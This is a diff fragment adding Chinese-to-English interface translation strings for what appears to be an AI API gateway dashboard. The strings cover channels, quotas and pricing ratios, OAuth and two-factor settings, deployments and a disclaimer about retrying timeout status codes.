+    "请选择该渠道所支持的模型": "Please select the model supported by this channel",
+    "请选择该渠道所支持的模型，留空则不更改": "Please select the models supported by the channel, leaving blank will not change",
+    "请选择过期时间": "Please select expiration time",
+    "请选择通知方式": "Please select notification method",
+    "调整额度": "Adjust Quota",
+    "调整额度成功": "Quota adjusted successfully",
+    "调用次数": "Call Count",
+    "调用次数分布": "Models call distribution",
+    "调用次数排行": "Models call ranking",
+    "调用趋势": "Call trend",
+    "调试信息": "Debug information",
+    "谨慎": "Cautious",
+    "警告": "Warning",
+    "警告：启用保活后，如果已经写入保活数据后渠道出错，系统无法重试，如果必须开启，推荐设置尽可能大的Ping间隔": "Warning: After enabling keep-alive, if the channel fails after keep-alive data has been written, the system cannot retry. If you must enable it, it is recommended to set the Ping interval as large as possible",
+    "警告：禁用两步验证将永久删除您的验证设置和所有备用码，此操作不可撤销！": "Warning: Disabling two-factor authentication will permanently delete your verification settings and all backup codes. This action is irreversible!",
+    "豆包": "Doubao",
+    "账单": "Bills",
+    "账户充值": "Account recharge",
+    "账户已删除！": "Account has been deleted!",
+    "账户已锁定": "Account locked",
+    "账户数据": "Account Data",
+    "账户管理": "Account management",
+    "账户绑定": "Account Binding",
+    "账户绑定、安全设置和身份验证": "Account binding, security settings and identity verification",
+    "账户绑定管理": "Account Binding Management",
+    "账户统计": "Account statistics",
+    "货币": "Currency",
+    "货币单位": "Currency Unit",
+    "购买上限": "Purchase Limit",
+    "购买兑换码": "Buy redemption code",
+    "购买套餐后即可享受模型权益": "Enjoy model benefits after purchasing a plan",
+    "购买或手动新增订阅会升级到该分组；当套餐失效/过期或手动作废/删除后，将回退到升级前分组。回退不会立即生效，通常会有几分钟延迟。": "Purchasing or manually adding a subscription will upgrade to this group. When the plan expires or is invalidated/deleted, it will revert to the previous group. The rollback is not immediate and usually takes a few minutes.",
+    "购买订阅套餐": "Purchase Subscription Plan",
+    "购买订阅获得模型额度/次数": "Purchase a subscription to get model quota/usage",
+    "费用信息": "Cost Information",
+    "费用预估": "Cost Estimate",
+    "资源消耗": "Resource Consumption",
+    "起始时间": "Start Time",
+    "超级管理员": "Super Admin",
+    "超级管理员未设置充值链接！": "Super administrator has not set the recharge link!",
+    "超过阈值时拒绝新请求": "Reject new requests when threshold is exceeded",
+    "跟随日志": "Follow Logs",
+    "跟随系统主题设置": "Follow system theme",
+    "跨分组": "Cross-group",
+    "跨分组特殊倍率": "Cross-Group Special Ratios",
+    "跨分组重试": "Cross-group retry",
+    "路径正则": "Path Regex",
+    "路径正则（每行一个）": "Path Regex (one per line)",
+    "跳转": "Jump",
+    "转大写": "",
+    "转小写": "",
+    "转换": "Convert",
+    "轮询": "Polling",
+    "轮询模式": "Polling mode",
+    "轮询模式必须搭配Redis和内存缓存功能使用，否则性能将大幅降低，并且无法实现轮询功能": "Polling mode must be used with Redis and memory cache functions, otherwise the performance will be significantly reduced and the polling function will not be implemented",
+    "软错误": "soft errors",
+    "输入": "Input",
+    "输入 {{input}} tokens / 1M tokens * {{symbol}}{{price}}": "Input {{input}} tokens / 1M tokens * {{symbol}}{{price}}",
+    "输入 {{price}} / 1M tokens": "Input {{price}} / 1M tokens",
+    "输入 $/1M tokens": "",
+    "输入 OIDC 的 Authorization Endpoint": "Enter OIDC Authorization Endpoint",
+    "输入 OIDC 的 Client ID": "Enter OIDC Client ID",
+    "输入 OIDC 的 Token Endpoint": "Enter OIDC Token Endpoint",
+    "输入 OIDC 的 Userinfo Endpoint": "Enter OIDC Userinfo Endpoint",
+    "输入IP地址后回车，如：8.8.8.8": "Enter IP address and press Enter, e.g.: 8.8.8.8",
+    "输入JSON对象": "Enter JSON Object",
+    "输入与缓存价格合计 * {{ratioType}} {{ratio}} = {{symbol}}{{total}}": "Input and cache pricing subtotal * {{ratioType}} {{ratio}} = {{symbol}}{{total}}",
+    "输入价格": "Input Price",
+    "输入价格 {{symbol}}{{price}} / 1M tokens": "Input Price {{symbol}}{{price}} / 1M tokens",
+    "输入价格：{{symbol}}{{price}} / 1M tokens": "Input Price: {{symbol}}{{price}} / 1M tokens",
+    "输入价格：{{symbol}}{{price}} / 1M tokens{{audioPrice}}": "Input Price: {{symbol}}{{price}} / 1M tokens{{audioPrice}}",
+    "输入你注册的 LinuxDO OAuth APP 的 ID": "Enter the ID of your registered LinuxDO OAuth APP",
+    "输入你的账户名{{username}}以确认删除": "Enter your account name{{username}} to confirm deletion",
+    "输入倍率": "",
+    "输入域名后回车": "Enter domain and press Enter",
+    "输入域名后回车，如：example.com": "Enter domain and press Enter, e.g.: example.com",
+    "输入基础 URL": "Enter base URL",
+    "输入密码，最短 8 位，最长 20 位": "Enter password, at least 8 characters and up to 20 characters",
+    "输入数字": "Enter Number",
+    "输入标签或使用\",\"分隔多个标签": "Enter tags or use \",\" to separate multiple tags",
+    "输入模型倍率": "Enter model ratio",
+    "输入模型名称，例如 gpt-4.1": "Enter a model name, for example gpt-4.1",
+    "输入每次价格": "Enter per-use price",
+    "输入每次调用价格": "",
+    "输入端口后回车，如：80 或 8000-8999": "Enter port and press Enter, e.g.: 80 or 8000-8999",
+    "输入系统提示词，用户的系统提示词将优先于此设置": "Enter system prompt, user's system prompt will take priority over this setting",
+    "输入自定义模型名称": "Enter Custom Model Name",
+    "输入补全价格": "Enter Completion Price",
+    "输入补全倍率": "Enter completion ratio",
+    "输入要添加的邮箱域名": "Enter the email domain to add",
+    "输入认证器应用显示的6位数字验证码": "Enter the 6-digit verification code displayed on the authenticator application",
+    "输入邮箱地址": "Enter Email Address",
+    "输入金额": "Enter amount",
+    "输入项目名称，按回车添加": "Enter the item name, press Enter to add",
+    "输入额度": "Enter quota",
+    "输入验证码": "Enter Verification Code",
+    "输入验证码完成设置": "Enter verification code to complete setup",
+    "输出": "Output",
+    "输出 {{completion}} tokens / 1M tokens * {{symbol}}{{compPrice}}) * {{ratioType}} {{ratio}}": "Output {{completion}} tokens / 1M tokens * {{symbol}}{{compPrice}} * {{ratioType}} {{ratio}}",
+    "输出：{{tokens}} / 1M * 模型倍率 {{modelRatio}} * 补全倍率 {{completionRatio}} * {{ratioType}} {{ratio}} = {{amount}}": "Output: {{tokens}} / 1M * model ratio {{modelRatio}} * completion ratio {{completionRatio}} * {{ratioType}} {{ratio}} = {{amount}}",
+    "输出：{{tokens}} / 1M * 模型倍率 {{modelRatio}} * 输出倍率 {{completionRatio}} * {{ratioType}} {{ratio}} = {{amount}}": "Output: {{tokens}} / 1M * model ratio {{modelRatio}} * output ratio {{completionRatio}} * {{ratioType}} {{ratio}} = {{amount}}",
+    "输出价格": "Output Price",
+    "输出价格 {{symbol}}{{price}} / 1M tokens": "Output Price {{symbol}}{{price}} / 1M tokens",
+    "输出价格：{{symbol}}{{price}} * {{completionRatio}} = {{symbol}}{{total}} / 1M tokens (补全倍率: {{completionRatio}})": "Output price: {{symbol}}{{price}} * {{completionRatio}} = {{symbol}}{{total}} / 1M tokens (Completion ratio: {{completionRatio}})",
+    "输出价格：{{symbol}}{{price}} / 1M tokens": "Output Price: {{symbol}}{{price}} / 1M tokens",
+    "输出价格：{{symbol}}{{total}} / 1M tokens": "Output Price: {{symbol}}{{total}} / 1M tokens",
+    "输出倍率 {{completionRatio}}": "Output ratio {{completionRatio}}",
+    "边栏设置": "Sidebar Settings",
+    "过期于": "Expires at",
+    "过期时间": "Expiration time",
+    "过期时间不能早于当前时间！": "Expiration time cannot be earlier than the current time!",
+    "过期时间快捷设置": "Expiration time quick settings",
+    "过期时间格式错误！": "Expiration time format error!",
+    "运营设置": "Operation",
+    "运行中": "Running",
+    "运行命令 (Command)": "Command",
+    "运行时长": "Runtime Duration",
+    "运行时长（小时）": "Runtime Duration (hours)",
+    "返回修改": "Go back and edit",
+    "返回登录": "Return to Login",
+    "返回错误": "",
+    "这个界面默认按价格填写，保存时会自动换算回后端需要的倍率 JSON。": "This editor uses prices by default and converts them back into the ratio JSON required by the backend when saved.",
+    "这些价格都是可选项，不填也可以。": "All of these prices are optional and can be left empty.",
+    "这将删除超过 10 分钟未使用的临时缓存文件": "This will delete temporary cache files that have not been used for more than 10 minutes",
+    "这是基础金额，实际扣费 = 基础金额 x 系统分组倍率。": "This is the base amount. Actual deduction = base amount × system group ratio.",
+    "这是重复键中的最后一个，其值将被使用": "This is the last one among duplicate keys, and its value will be used",
+    "这里直接编辑 JSON 对象。适合简单覆盖参数的场景。": "Edit the JSON object directly here. Suitable for simple parameter override scenarios.",
+    "进度": "Progress",
+    "进行中": "Ongoing",
+    "进行该操作时，可能导致渠道访问错误，请仅在数据库出现问题时使用": "When performing this operation, it may cause channel access errors. Please only use it when there is a problem with the database.",
+    "违规扣费": "Violation deduction",
+    "违规扣费金额": "Violation deduction amount",
+    "连接保活设置": "Connection Keep-alive Settings",
+    "连接信息已填入": "Connection info applied",
+    "连接已断开": "Connection Disconnected",
+    "连接测试中...": "Testing connection...",
+    "追加": "Append",
+    "追加到现有密钥": "Append to existing key",
+    "追加模式：将新密钥添加到现有密钥列表末尾": "Append mode: add new keys to the end of the existing key list",
+    "追加模式：新密钥将添加到现有密钥列表的末尾": "Append mode: new keys will be added to the end of the existing key list",
+    "追加模板": "Append Template",
+    "退出": "Quit",
+    "退款": "Refund",
+    "适合 MJ / 任务类等按次收费模型。": "Suitable for MJ and other task-based models billed per request.",
+    "适合同系列模型一起定价，例如把 gpt-5.1 的价格批量同步到 gpt-5.1-high、gpt-5.1-low 等模型。": "Useful for pricing model variants together, for example syncing the pricing of gpt-5.1 to gpt-5.1-high, gpt-5.1-low, and similar models.",
+    "适用于个人使用的场景，不需要设置模型价格": "Suitable for personal use, no need to set model price.",
+    "适用于为多个用户提供服务的场景": "Suitable for scenarios where multiple users are provided.",
+    "适用于展示系统功能的场景，提供基础功能演示": "Suitable for scenarios where the system functions are displayed, providing basic feature demonstrations.",
+    "适配 -thinking、-thinking-预算数字 和 -nothinking 后缀": "Adapt to -thinking, -thinking-budget number, -nothinking, and -low/-medium/-high suffixes",
+    "选择 premium 创建的令牌，调用 API 时费用为 standard 的 50%。": "Tokens created with premium cost 50% of standard when calling APIs.",
+    "选择使用分组": "Select using group",
+    "选择充值套餐": "Choose a top-up package",
+    "选择充值额度": "Select recharge amount",
+    "选择分组": "Select group",
+    "选择同步来源": "Select sync source",
+    "选择同步渠道": "Select synchronization channel",
+    "选择同步语言": "Select sync language",
+    "选择容器": "Select Container",
+    "选择您的首选界面语言，设置将自动保存并同步到所有设备": "Select your preferred interface language. Settings will be saved automatically and synced across all devices",
+    "选择成功": "Selection successful",
+    "选择支付方式": "Select payment method",
+    "选择支持的认证设备类型": "Choose supported authentication device types",
+    "选择方式": "Select method",
+    "选择时间": "Select Time",
+    "选择模型": "Select model",
+    "选择模型供应商": "Select model vendor",
+    "选择模型后可一键填充当前选中令牌（或本页第一个令牌）。": "After selecting a model, you can fill the current selected token (or the first token on this page) with one click.",
+    "选择模型开始对话": "Select a model to start the conversation",
+    "选择状态": "Select Status",
+    "选择用户分组": "Select user group",
+    "选择硬件类型": "Select Hardware Type",
+    "选择端点类型": "Select Endpoint Type",
+    "选择系统运行模式": "Select system running mode",
+    "选择组类型": "Please select group type",
+    "选择要覆盖的冲突项": "Select conflict items to overwrite",
+    "选择订阅套餐": "Select subscription plan",
+    "选择语言": "Select language",
+    "选择过期时间（可选，留空为永久）": "Select expiration time (optional, leave blank for permanent)",
+    "选择部署位置（可多选）": "Select deployment location(s) (multiple selections allowed)",
+    "选择预设...": "Select preset...",
+    "选择预设模板（可选）": "Select Preset Template (optional)",
+    "透传请求体": "Pass through body",
+    "透传请求头": "",
+    "递归": "Recursive",
+    "递归策略": "Recursion Strategy",
+    "通义千问": "Qwen",
+    "通用设置": "General Settings",
+    "通知": "Notice",
+    "通知、价格和隐私相关设置": "Notification, price and privacy related settings",
+    "通知内容": "Notification content",
+    "通知内容，支持 {{value}} 变量占位符": "Notification content, supports {{value}} variable placeholders",
+    "通知方式": "Notification method",
+    "通知标题": "Notification title",
+    "通知类型 (quota_exceed: 额度预警)": "Notification type (quota_exceed: quota warning)",
+    "通知邮箱": "Notification email",
+    "通知配置": "Notification configuration",
+    "通过分组可以实现不同用户等级的差异化定价，例如 VIP 用户享受更低的 API 调用费用。": "Groups enable differentiated pricing for different user tiers. For example, VIP users can enjoy lower API costs.",
+    "通过划转功能将奖励额度转入到您的账户余额中": "Transfer the reward amount to your account balance through the transfer function",
+    "通过密码注册时需要进行邮箱验证": "Email verification is required when registering via password",
+    "通过此功能，可以根据用户所在分组，为不同等级的用户展示不同的可选列表。": "This feature allows showing different selectable group lists to users of different tiers.",
+    "通道 ${name} 余额更新成功！": "Channel ${name} quota updated successfully!",
+    "通道 ${name} 测试成功，模型 ${model} 耗时 ${time.toFixed(2)} 秒。": "Channel ${name} test successful, model ${model} took ${time.toFixed(2)} seconds.",
+    "通道 ${name} 测试成功，耗时 ${time.toFixed(2)} 秒。": "Channel ${name} test successful, took ${time.toFixed(2)} seconds.",
+    "速率限制设置": "Rate Limit",
+    "逻辑": "Logic",
+    "邀请": "Invitations",
+    "邀请人": "Inviter",
+    "邀请人数": "Number of people invited",
+    "邀请信息": "Invitation information",
+    "邀请奖励": "Invite reward",
+    "邀请好友注册，好友充值后您可获得相应奖励": "Invite friends to register, and you can get the corresponding reward after the friend recharges",
+    "邀请好友获得额外奖励": "Invite friends to get additional rewards",
+    "邀请新用户奖励额度": "Referral bonus quota",
+    "邀请的好友越多，获得的奖励越多": "The more friends you invite, the more rewards you will get",
+    "邀请码": "Invitation code",
+    "邀请获得额度": "Invitation quota",
+    "邀请链接": "Invitation link",
+    "邀请链接已复制到剪切板": "Invitation link has been copied to clipboard",
+    "邮件通知": "Email notification",
+    "邮箱": "Email",
+    "邮箱地址": "Email address",
+    "邮箱域名格式不正确，请输入有效的域名，如 gmail.com": "The email domain format is incorrect. Please enter a valid domain such as gmail.com",
+    "邮箱域名白名单格式不正确": "The email domain whitelist format is incorrect",
+    "邮箱字段": "Email Field",
+    "邮箱字段（可选）": "Email Field (optional)",
+    "邮箱账户绑定成功！": "Email account bound successfully!",
+    "部分保存失败": "Some settings failed to save",
+    "部分保存失败，请重试": "Partial saving failed, please try again",
+    "部分渠道测试失败：": "Some channels failed to test: ",
+    "部署 ID": "Deployment ID",
+    "部署ID": "Deployment ID",
+    "部署中": "Deploying",
+    "部署位置": "Deployment Location",
+    "部署位置加载中...": "Loading deployment locations...",
+    "部署删除成功": "Deployment deleted successfully",
+    "部署名称": "Deployment Name",
+    "部署名称不匹配，请检查后重新输入": "Deployment name does not match, please check and re-enter",
+    "部署名称只能包含字母、数字、横线、下划线和中文": "Deployment name can only contain letters, numbers, hyphens, underscores and Chinese characters",
+    "部署名称更新成功": "Deployment name updated successfully",
+    "部署启动成功": "Deployment started successfully",
+    "部署地区": "Deployment Region",
+    "部署请求中": "Requesting deployment",
+    "部署配置": "Deployment Configuration",
+    "部署重启成功": "Deployment restarted successfully",
+    "配置": "Configure",
+    "配置 Discord OAuth": "Configure Discord OAuth",
+    "配置 GitHub OAuth App": "Configure GitHub OAuth App",
+    "配置 Linux DO OAuth": "Configure Linux DO OAuth",
+    "配置 OIDC": "Configure OIDC",
+    "配置 Passkey": "Configure Passkey",
+    "配置 SMTP": "Configure SMTP",
+    "配置 Telegram 登录": "Configure Telegram Login",
+    "配置 Turnstile": "Configure Turnstile",
+    "配置 Waffo 充值时可用的支付方式，保存后在充值页面展示给用户。": "",
+    "配置 WeChat Server": "Configure WeChat Server",
+    "配置：": "Config:",
+    "配置后的效果：": "After configuration:",
+    "配置和消息已全部重置": "Configuration and messages have been completely reset",
+    "配置套餐的有效时长": "Configure the plan validity duration",
+    "配置如何从用户信息 API 响应中提取用户数据，支持 JSONPath 语法": "Configure how to extract user data from user info API response, supports JSONPath syntax",
+    "配置完成后刷新页面即可使用模型部署功能": "After configuration is complete, refresh the page to use the model deployment feature",
+    "配置导入成功": "Configuration imported successfully",
+    "配置已导出到下载文件夹": "Configuration has been exported to the download folder",
+    "配置已重置，对话消息已保留": "Configuration has been reset, conversation messages have been retained",
+    "配置文件同步": "Config file sync",
+    "配置更新确认": "Configuration Update Confirmation",
+    "配置有效的 io.net API Key": "Configure a valid io.net API Key",
+    "配置服务器端请求伪造(SSRF)防护，用于保护内网资源安全": "Configure Server-Side Request Forgery (SSRF) protection to secure internal network resources",
+    "配置模型部署服务提供商的API密钥和启用状态": "Configure the API key and enabled status of the model deployment service provider",
+    "配置特殊倍率后：": "After configuring special ratios:",
+    "配置登录注册": "Configure Login/Registration",
+    "配置自定义 OAuth 提供商，支持 GitHub Enterprise、GitLab、Gitea、Nextcloud、Keycloak、ORY 等兼容 OAuth 2.0 协议的身份提供商": "Configure custom OAuth providers, supports GitHub Enterprise, GitLab, Gitea, Nextcloud, Keycloak, ORY and other OAuth 2.0 compatible identity providers",
+    "配置说明": "Configuration instructions",
+    "配置邮箱域名白名单": "Configure email domain whitelist",
+    "重启部署失败": "Failed to restart deployment",
+    "重命名部署": "Rename Deployment",
+    "重复提交": "Duplicate submission",
+    "重复的键名": "Duplicate key name",
+    "重复的键名，此值将被后面的同名键覆盖": "Duplicate key name, this value will be overridden by the subsequent key with the same name",
+    "重定向 URL 填": "Redirect URL fill",
+    "重新上传": "",
+    "重新发送": "Resend",
+    "重新生成": "Regenerate",
+    "重新生成备用码": "Regenerate backup codes",
+    "重新生成备用码失败": "Failed to regenerate backup codes",
+    "重新生成备用码将使现有的备用码失效，请确保您已保存了当前的备用码。": "Regenerating backup codes will invalidate existing backup codes. Please ensure you have saved the current backup codes.",
+    "重绘": "Vary",
+    "重置": "Reset",
+    "重置 2FA": "Reset Two-Factor Authentication",
+    "重置 Passkey": "Reset Passkey",
+    "重置为默认": "Reset to Default",
+    "重置周期": "Reset Period",
+    "重置失败": "Reset failed",
+    "重置模型倍率": "Reset model ratio",
+    "重置统计": "Reset Stats",
+    "重置选项": "Reset options",
+    "重置邮件发送成功，请检查邮箱！": "The reset email was sent successfully, please check your email!",
+    "重置配置": "Reset configuration",
+    "重要提醒": "Important Notice",
+    "重试": "Retry",
+    "重试建议": "Retry Suggestion",
+    "重试连接": "Retry Connection",
+    "金额": "Amount",
+    "钱包管理": "Wallet Management",
+    "链接中的{key}将自动替换为sk-xxxx，{address}将自动替换为系统设置的服务器地址，末尾不带/和/v1": "The {key} in the link will be automatically replaced with sk-xxxx, the {address} will be automatically replaced with the server address in system settings, and the end will not have / and /v1",
+    "销毁容器": "Destroy Container",
+    "销毁容器失败": "Failed to destroy container",
+    "错误": "errors",
+    "错误代码（可选）": "Error Code (optional)",
+    "错误消息（必填）": "Error Message (required)",
+    "错误类型（可选）": "Error Type (optional)",
+    "错误详情": "Error Details",
+    "键为分组名称，值为另一个 JSON 对象，键为分组名称，值为该分组的用户的特殊分组倍率，例如：{\"vip\": {\"default\": 0.5, \"test\": 1}}，表示 vip 分组的用户在使用default分组的令牌时倍率为0.5，使用test分组时倍率为1": "The key is the group name, and the value is another JSON object. The key is the group name, and the value is the special group ratio for users in that group. For example: {\"vip\": {\"default\": 0.5, \"test\": 1}} means that users in the vip group have a ratio of 0.5 when using tokens from the default group, and a ratio of 1 when using tokens from the test group",
+    "键为原状态码，值为要复写的状态码，仅影响本地判断": "The key is the original status code, and the value is the status code to override, only affects local judgment",
+    "键为用户分组名称，值为操作映射对象。内层键以\"+:\"开头表示添加指定分组（键值为分组名称，值为描述），以\"-:\"开头表示移除指定分组（键值为分组名称），不带前缀的键直接添加该分组。例如：{\"vip\": {\"+:premium\": \"高级分组\", \"special\": \"特殊分组\", \"-:default\": \"默认分组\"}}，表示 vip 分组的用户可以使用 premium 和 special 分组，同时移除 default 分组的访问权限": "Keys are user group names and values are operation mappings. Inner keys prefixed with \"+:\" add the specified group (key is the group name, value is the description); keys prefixed with \"-:\" remove the specified group; keys without a prefix add that group directly. Example: {\"vip\": {\"+:premium\": \"Advanced group\", \"special\": \"Special group\", \"-:default\": \"Default group\"}} means vip users can access the premium and special groups while removing access to the default group.",
+    "键为端点类型，值为路径和方法对象": "The key is the endpoint type, the value is the path and method object",
+    "键为请求中的模型名称，值为要替换的模型名称": "Key is the model name in the request, value is the model name to replace",
+    "键名": "Key name",
+    "键的前缀 +: 表示添加，-: 表示移除，无前缀表示追加。值为分组描述（移除时填 \"remove\"）。": "Key prefix +: means add, -: means remove, no prefix means append. Value is the group description (use \"remove\" for removal).",
+    "镜像仓库密码": "Image Registry Password",
+    "镜像仓库用户名": "Image Registry Username",
+    "镜像仓库配置": "Image Registry Configuration",
+    "镜像地址": "Image Address",
+    "镜像选择": "Image Selection",
+    "镜像配置": "Image Configuration",
+    "问题标题": "Question Title",
+    "队列中": "In queue",
+    "附加条件": "Additional Conditions",
+    "降低您账户的安全性": "Reduce your account security",
+    "降级": "Demote",
+    "限制周期": "Limit period",
+    "限制周期统一使用上方配置的“限制周期”值。": "The limit period uniformly uses the \"limit period\" value configured above.",
+    "限流": "Rate Limiting",
+    "限购": "Limit",
+    "隐私政策": "Privacy Policy",
+    "隐私政策已更新": "Privacy policy updated",
+    "隐私政策更新失败": "Privacy policy update failed",
+    "隐私设置": "Privacy settings",
+    "隐藏操作项": "Hide actions",
+    "隐藏调试": "Hide debug",
+    "随机": "Random",
+    "随机模式": "Random mode",
+    "随机种子 (留空为随机)": "Random Seed (leave blank for random)",
+    "零一万物": "Yi",
+    "需要安全验证": "Security verification required",
+    "需要添加的额度（支持负数）": "Need to add quota (supports negative numbers)",
+    "需要登录访问": "Require Login",
+    "需要配置的项目": "Items to Configure",
+    "需要重新完整设置才能再次启用": "Need to set up again to re-enable",
+    "非必要，不建议启用模型限制": "Not necessary, model restrictions are not recommended",
+    "非流": "not stream",
+    "音乐预览": "Music Preview",
+    "音频倍率 {{audioRatio}}": "Audio ratio {{audioRatio}}",
+    "音频倍率（仅部分模型支持该计费）": "Audio ratio (only supported by some models for billing)",
+    "音频提示 {{input}} tokens / 1M tokens * {{symbol}}{{audioInputPrice}} + 音频补全 {{completion}} tokens / 1M tokens * {{symbol}}{{audioCompPrice}} = {{symbol}}{{total}}": "Audio prompt {{input}} tokens / 1M tokens * {{symbol}}{{audioInputPrice}} + Audio completion {{completion}} tokens / 1M tokens * {{symbol}}{{audioCompPrice}} = {{symbol}}{{total}}",
+    "音频提示价格：{{symbol}}{{price}} * {{audioRatio}} = {{symbol}}{{total}} / 1M tokens (音频倍率: {{audioRatio}})": "Audio prompt price: {{symbol}}{{price}} * {{audioRatio}} = {{symbol}}{{total}} / 1M tokens (Audio ratio: {{audioRatio}})",
+    "音频无法播放": "Audio cannot be played",
+    "音频补全价格": "Audio Completion Price",
+    "音频补全价格：{{symbol}}{{price}} * {{audioRatio}} * {{audioCompRatio}} = {{symbol}}{{total}} / 1M tokens (音频补全倍率: {{audioCompRatio}})": "Audio completion price: {{symbol}}{{price}} * {{audioRatio}} * {{audioCompRatio}} = {{symbol}}{{total}} / 1M tokens (Audio completion ratio: {{audioCompRatio}})",
+    "音频补全价格：{{symbol}}{{price}} / 1M tokens": "Audio completion price: {{symbol}}{{price}} / 1M tokens",
+    "音频补全倍率": "",
+    "音频补全倍率（仅部分模型支持该计费）": "Audio completion ratio (only supported by some models for this billing)",
+    "音频输入：{{tokens}} / 1M * 模型倍率 {{modelRatio}} * 音频倍率 {{audioRatio}} * {{ratioType}} {{ratio}} = {{amount}}": "Audio input: {{tokens}} / 1M * model ratio {{modelRatio}} * audio ratio {{audioRatio}} * {{ratioType}} {{ratio}} = {{amount}}",
+    "音频输入价格": "Audio Input Price",
+    "音频输入价格：{{symbol}}{{price}} / 1M tokens": "Audio input price: {{symbol}}{{price}} / 1M tokens",
+    "音频输入倍率": "",
+    "音频输入相关的倍率设置，键为模型名称，值为倍率": "Audio input related ratio settings, key is model name, value is ratio",
+    "音频输出：{{tokens}} / 1M * 模型倍率 {{modelRatio}} * 音频倍率 {{audioRatio}} * 音频补全倍率 {{audioCompletionRatio}} * {{ratioType}} {{ratio}} = {{amount}}": "Audio output: {{tokens}} / 1M * model ratio {{modelRatio}} * audio ratio {{audioRatio}} * audio completion ratio {{audioCompletionRatio}} * {{ratioType}} {{ratio}} = {{amount}}",
+    "音频输出补全相关的倍率设置，键为模型名称，值为倍率": "Audio output completion related ratio settings, key is model name, value is ratio",
+    "页脚": "Footer",
+    "页面未找到，请检查您的浏览器地址是否正确": "Page not found, please check if your browser address is correct",
+    "页面渲染出错，请刷新页面重试": "An error occurred while rendering the page. Please refresh and try again.",
+    "顶栏管理": "Header Management",
+    "项": "items",
+    "项目": "Project",
+    "项目内容": "Project content",
+    "项目操作按钮组": "Project action button group",
+    "预估总费用": "Estimated Total Cost",
+    "预估费用仅供参考，实际费用可能略有差异": "Estimated cost is for reference only, actual cost may vary slightly",
+    "预填组管理": "Pre-filled group",
+    "预扣": "Pre-deduction",
+    "预览失败": "Preview failed",
+    "预览效果": "Preview",
+    "预览更新": "Preview update",
+    "预览模板": "Preview Template",
+    "预览请求体": "Preview request body",
+    "预计结束": "Estimated End",
+    "预计结果": "Estimated result",
+    "预设模板": "Presets",
+    "预警阈值必须为正数": "Warning threshold must be a positive number",
+    "频率惩罚，减少重复词汇的出现": "Frequency penalty, reduces repeated vocabulary",
+    "频率限制的周期（分钟）": "Rate limit period (minutes)",
+    "颜色": "Color",
+    "额外价格项": "Additional price items",
+    "额外设置": "Extra Settings",
+    "额度": "Quota",
+    "额度充值": "Quota Top-up",
+    "额度展示类型": "Quota display type",
+    "额度必须大于0": "Quota must be greater than 0",
+    "额度提醒阈值": "Quota reminder threshold",
+    "额度查询接口返回令牌额度而非用户额度": "Displays token quota instead of user quota",
+    "额度设置": "Quota Settings",
+    "额度重置": "Quota Reset",
+    "额度预警阈值": "Quota warning threshold",
+    "首尾生视频": "Head-tail generated video",
+    "首页": "Home",
+    "首页内容": "Home Page Content",
+    "验证": "Verify",
+    "验证 Passkey": "Verify Passkey",
+    "验证失败，请重试": "Verification failed, please try again",
+    "验证成功": "Verification successful",
+    "验证数据库连接状态": "Verify database connection status",
+    "验证码": "Verification Code",
+    "验证码发送成功，请检查邮箱！": "The verification code was sent successfully, please check your email!",
+    "验证设置": "Verify setup",
+    "验证身份": "Verify identity",
+    "验证配置错误": "Verification configuration error",
+    "高危操作确认": "High-risk operation confirmation",
+    "高危状态码重试风险告知与免责声明Markdown": "### ⚠️ High-Risk Operation: Risk Notice and Disclaimer for 504/524 Retry\nBy default, this project does not retry for status codes `400` (bad request), `504` (gateway timeout), and `524` (timeout occurred).\n In many cases, 504 and 524 mean the request has reached the upstream AI service and processing has started, but the connection was closed due to long processing time.\n\nEnabling redirection/retry for these timeout status codes is a **high-risk operation**. Before enabling it, you must read and understand the consequences below:\n\n#### 1. Core Risks (Read Carefully)\n1. 💸 Duplicate/multiple billing risk: Most upstream AI providers **still charge** for requests that started processing but got interrupted by network timeout (504/524). If retry is triggered, a new upstream request will be sent, which can lead to **duplicate or multiple charges**.\n2. ⏳ Severe client timeout: If a single request already timed out, adding retries can multiply total latency and cause severe or unacceptable timeout behavior for your final client/caller.\n3. 💥 Request backlog and system crash risk: Forcing retries on timeout requests keeps threads and connections occupied for longer. Under high concurrency, this can cause serious backlog, exhaust system resources, trigger a cascading failure, and crash your proxy service.\n\n#### 2. Risk Acknowledgement\nIf you still choose to enable this feature, you acknowledge all of the following:",
+    "高危状态码重试风险确认输入文本": "I understand the duplicate billing and crash risks, and confirm enabling it.",
+    "高危状态码重试风险确认项1": "I have fully read and understood the risks and fully understand the destructive consequences of forcing retries for status codes 504 and 524.",
+    "高危状态码重试风险确认项2": "I have communicated with the upstream provider and confirmed that the timeout issue is an upstream bottleneck and cannot be resolved upstream at this time.",
+    "高危状态码重试风险确认项3": "I voluntarily accept all duplicate/multiple billing risks and will not file issues or complaints in this project repository regarding billing anomalies caused by this retry behavior.",
+    "高危状态码重试风险确认项4": "I voluntarily accept system stability risks, including severe client timeout and possible service crash. Any consequences caused by enabling this feature are my own responsibility.",
+    "高危状态码重试风险输入不匹配提示": "The input does not match the required text",
+    "高危状态码重试风险输入框占位文案": "Please type the exact text above",
+    "高级": "Advanced",
+    "高级套餐，半价优惠": "Premium plan, 50% off",
+    "高级文本编辑": "Advanced Text Editing",
+    "高级设置": "Advanced Settings",
+    "高级选项": "Advanced Options",
+    "高级配置": "Advanced Configuration",
+    "黑名单": "Blacklist",
+    "默认": "Default",
+    "默认 API 版本": "Default API Version",
+    "默认 Responses API 版本，为空则使用上方版本": "Default Responses API version, if empty, uses the version above",
+    "默认 TTL（秒）": "Default TTL (seconds)",
+    "默认为 5m 缓存创建倍率；1h 缓存创建倍率按固定乘法自动计算（当前为 1.6x）": "Defaults to the 5m cache creation ratio; the 1h cache creation ratio is computed by fixed multiplication (currently 1.6x)",
+    "默认使用auto分组": "Default to auto group",
+    "默认使用系统名称": "Default uses system name",
+    "默认助手消息": "Default Assistant Message",
+    "默认区域": "Default region",
+    "默认区域，如: us-central1": "Default region, e.g.: us-central1",
+    "默认情况下，所有用户创建令牌时看到的可选分组列表是一样的（即「用户可选」列勾选的分组）。": "By default, all users see the same selectable group list when creating tokens (i.e., groups with \"User Selectable\" checked).",
+    "默认折叠侧边栏": "Default collapse sidebar",
+    "默认测试模型": "Default Test Model",
+    "默认用户消息": "Default User Message",
+    "默认补全倍率": "Default completion ratio",
+    "缓存创建价格-5分钟": "Cache Creation Price (5-min)",
+    "缓存创建价格-1小时": "Cache Creation Price (1-hour)",
+    "缓存创建价格（5分钟）": "Cache Creation Price (5-min)",
+    "缓存创建价格（1小时）": "Cache Creation Price (1-hour)",
+    "分时缓存 (Claude)": "Timed Cache (Claude)",
+    "通用缓存": "Generic Cache",
